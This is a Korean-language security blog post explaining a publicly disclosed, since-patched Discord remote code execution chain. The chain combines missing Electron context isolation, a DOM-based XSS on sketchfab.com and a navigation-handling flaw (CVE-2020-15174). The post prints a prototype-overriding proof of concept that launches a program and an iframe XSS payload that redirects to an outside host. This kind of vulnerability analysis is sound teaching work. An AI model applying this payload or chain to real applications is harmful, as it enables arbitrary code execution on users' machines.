디스코드에서 발견된 원격 코드 실행 취약점, 어떻게 발생했을까?
디스코드는 음성, 채팅, 화상통화 등을 지원하는 메신저의 한 종류입니다. 간편한 서버, 채널 설정을 비롯해 다양한 기능을 무료로 사용할 수 있기 때문에 게이밍이나 여러 커뮤니티에서 자주 사용되고 있습니다.
10월 17일 일본의 한 해커인 Masato Kinugawa(@kinugawamasato)는 자신이 발견했던 디스코드 원격 코드 실행 취약점을 공개했습니다. [1]
해당 취약점은 세 개의 취약점이 연계되어 발생하게 됩니다. 이들 취약점은 무엇인지 하나씩 분석해 봅시다.
디스코드 앱의 구조
디스코드는 Electron 프레임워크를 이용해 만들어졌습니다. Electron은 Javscript와 HTML, CSS를 이용해 데스크탑 앱을 제작할 수 있는 프레임워크입니다. 디스코드의 소스코드는 공개되어 있지 않지만 Electron은 자바스크립트 코드를 asar 포맷으로 로컬 환경에 저장하기 때문에 이를 통해 소스코드를 추출할 수 있습니다. 소스코드를 추출하는 자세한 과정은 How to get source code of any electron application 블로그 포스트를 참고해 주세요. [2]
Electron의 BrowserWindow API
BrowserWindow API는 Electron에서 브라우저 환경을 생성하고 제어하기 위해 사용하는 API입니다. 디스코드는 메인 윈도우를 나타낼 때 해당 기능을 사용하는데요, BrowserWindow API는 사용할 때 주의해야 하는 옵션이 몇 가지 존재합니다.
BrowserWindows API의 옵션 중 contextIsolation
이라는 옵션이 존재하는데, 해당 옵션은 BrowserWindows API를 이용해 새롭게 생성된 브라우저 환경(렌더러
)과 Electron의 내부 자바스크립트 환경을 격리시키기 위한 옵션입니다. 아래는 디스코드의 메인 윈도우 옵션입니다.
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
디스코드의 옵션에서는 contextIsolation
옵션을 따로 설정하지 않았기 때문에 false
로 설정되어 있는 상태고, 따라서 렌더러와 Electron의 자바스크립트 환경이 격리되지 않습니다. 즉, 렌더러 환경에서 자바스크립트 함수를 덮거나 전역 변수를 변경하게 되면 해당 변경사항이 그대로 Electron에서 사용하는 내부 자바스크립트에 적용됩니다.
해당 트릭에 대한 자세한 정보는 Electron: Abusing the lack of context isolation 발표자료 에서 확인할 수 있습니다. [3]
렌더러와 격리되지 않으면 어떤 문제가 발생하는가?
렌더러와 Electron이 격리되지 않았을 때 어떤 문제가 발생할지 생각해봅시다. 만약 렌더러 환경에서 Electron이 사용하는 자바스크립트 함수를 재정의했다면 Electron이 내부적으로 해당 함수를 호출할 때 우리가 정의한 코드를 실행할 수 있고 잠재적으로 임의의 코드 실행이 가능하게 됩니다.
Electron의 함수를 재정의할 수 있다는 사실을 알았으니 어떤 함수를 재정의해야 할지 찾아봅시다.
getCPUDriverVersions
함수는 디스코드에서 외부로 노출되어 있어 Browser Context에서 접근이 가능합니다. 해당 함수는 devTools의 discord_utils
모듈에 존재하며 execa
함수를 사용해 외부 프로그램을 실행하기 때문에 실행될 인자를 조작할 수 있다면 우리가 원하는 임의의 프로그램을 실행할 수 있게 됩니다.
아래는 getGPUDriverVersions
의 소스 코드입니다.
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
execa
함수는 외부 프로그램을 실행하기 위한 라이브러리로서 인자로 전달된 프로그램이 아닌 우리가 의도한 프로그램을 실행하기 위해 내부적으로 프로그램 실행에 사용되는 함수를 덮어야 합니다.
프로그램을 실행하기 위한 인자를 결정하는 코드는 아래와 같습니다.
function parseNonShell(parsed) {
...
// We don't need a shell if the command filename is an executable
const needsShell = !isExecutableRegExp.test(commandFile);
// If a shell is required, use cmd.exe and take care of escaping everything correctly
// Note that `forceShell` is an hidden option used only in tests
if (parsed.options.forceShell || needsShell) {
...
const shellCommand = [parsed.command].concat(parsed.args).join(' ');
parsed.args = ['/d', '/s', '/c', `"${shellCommand}"`];
parsed.command = process.env.comspec || 'cmd.exe';
parsed.options.windowsVerbatimArguments = true; // Tell node's spawn that the arguments are already escaped
}
return parsed;
}
Regexp의 test를 이용해 전달된 인자가 쉘을 필요로 하는지 검증하는 구간과 해당 검증이 참일 때 Array의 concat을 이용해 실행될 커맨드를 결정함을 알 수 있습니다.
이 두 부분을 변조해 Regexp의 test는 항상 false를 반환하도록 하고 Array의 concat 함수 결과를 우리가 원하는 값으로 반환하도록 조작한다면 성공적으로 우리가 원하는 프로그램을 실행할 수 있을 것입니다.
아래는 이를 구현한 코드입니다.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
조작한 함수의 원본 코드는 Github Link에서 볼 수 있습니다.
임의의 자바스크립트 실행 (XSS)
위 과정을 통해 임의의 자바스크립트가 실행되었을 때 RCE가 가능해졌으니, 이제는 임의의 자바스크립트를 실행하기 위한 XSS 취약점을 찾아야 합니다. 해커는 디스코드의 여러가지 벡터 중 iframe embeds 기능을 사용해 XSS 취약점을 트리거하였습니다.
iframe embeds 기능은 사용자가 디스코드 채널에 URL을 포스팅했을 때 해당 URL의 OGP 정보를 파싱해 사진이나 비디오, URL 정보 등을 함께 띄워주는 기능입니다. 여기서 OGP 정보는 해당 URL이 어떤 정보를 담고 있는지 요약하여 HTML 태그 내에 기입해두는 기능입니다.
디스코드가 iframe에 임베딩하는 URL 리스트를 얻기 위해 디스코드가 사용하는 Content-Security-Policy 중 frame-src에 허용된 리스트를 가져온 결과 아래와 같은 리스트를 얻을 수 있었습니다.
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
Content-Security-Policy에 대해서는 드림핵 CSP 강좌에서 공부할 수 있습니다. [4]
따라서 해당 URL 리스트에서 XSS 취약점을 발견한 후 URL을 디스코드에서 iframe으로 임베딩한다면 디스코드의 iframe context에서 자바스크립트 실행이 가능할 것입니다.
몇 번의 시도 결과 해커는 sketchfab.com 에서 XSS 취약점을 발견하였습니다. sketchfab.com은 3D 모델을 퍼블리싱하는 곳인데 3D 모델의 footnote 부분에서 발생하는 DOM-based XSS 취약점을 이용하였습니다.
XSS를 트리거하기 위한 모델은 https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed 에 존재하며 ..., "name": "<iframe onload=top.location='//l0.cm/discord_calc.html'>", ...
부분에서 XSS 트리거를 시도하였음을 알 수 있습니다.
현재 sketchfab에서 해당 취약점은 패치되어 더 이상 트리거되지 않는 상태입니다.
TOP Frame으로의 Navigation
하지만 아직 우리는 iframe context 내에서 자바스크립트 코드를 실행하는 것이기 때문에 실행되는 자바스크립트는 디스코드 context에 영향을 끼치지 못합니다.
이를 우회하기 위해선 iframe 내에서 새로운 window를 열거나 top window를 다른 URL로 바꾸는 작업인 top navigation이 필요한데 디스코드에는 이를 막기 위한 코드가 존재했습니다.
아래는 해당 코드입니다.
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
해당 코드는 새로운 window를 생성하는 'new-window' 이벤트와 navigate를 시도했을 때 발생하는 'will-navigate' 이벤트에 대해 URL이 허용된 URL인지 검사하는 등의 특정한 조건에 부합하지 않으면 해당 행위를 거부하는 행위를 구현한 코드입니다.
그러나 해커가 직접 top navigation을 시도해보았을 때 실제로는 요청이 거부되지 않고 정상적으로 navigation이 가능했고, 그 결과 디스코드 context에서 XSS 트리거를 성공하였습니다.
정상적으로 navigation이 수행된 것은 해커가 의도했던 부분이 아니었기에 이를 Electron의 취약점으로 판단 후 리포트하였고 CVE-2020-15174를 부여받았습니다.
해커는 top.location=malicious_url;
를 통해 top의 location을 바꾸는 방식으로 top navigation을 수행했습니다.
최종 RCE 트리거 영상은 https://www.youtube.com/watch?v=0f3RrvC-zGI 에서 확인할 수 있습니다.
결론
공격에 사용되었던 취약점을 요약해보면 다음과 같습니다.
- Electron의 BrowserWindow API 설정 미흡으로 인한 Context 미분리
- 디스코드에서 iframe embeds를 허용한 URL에서 발생된 DOM-based XSS
- Electron의 'will-navigate' 이벤트 핸들링 미흡
해커는 총 세 개의 취약점을 사용해 성공적으로 디스코드에서 RCE를 트리거하였습니다. 각개로 따지자면 크게 활용할 수 없는 취약점들을 연계해 RCE로 만들었다는 점이 굉장히 인상깊습니다.
이번 디스코드 RCE 같은 경우는 native 바이너리의 분석 및 익스플로잇이 필요없는 nodeJS와 웹 플랫폼의 취약점만으로 구성된 취약점입니다. Electron 프레임워크로 개발되었기 때문에 웹 서비스 분석과 자바스크립트 분석만으로도 데스크탑 앱을 공격할 수 있었는데요, native 바이너리 분석에 익숙하지 않은 분이시라면 자바스크립트를 기반으로 한 Electron 앱들의 취약점을 찾아보는 것은 어떨까요?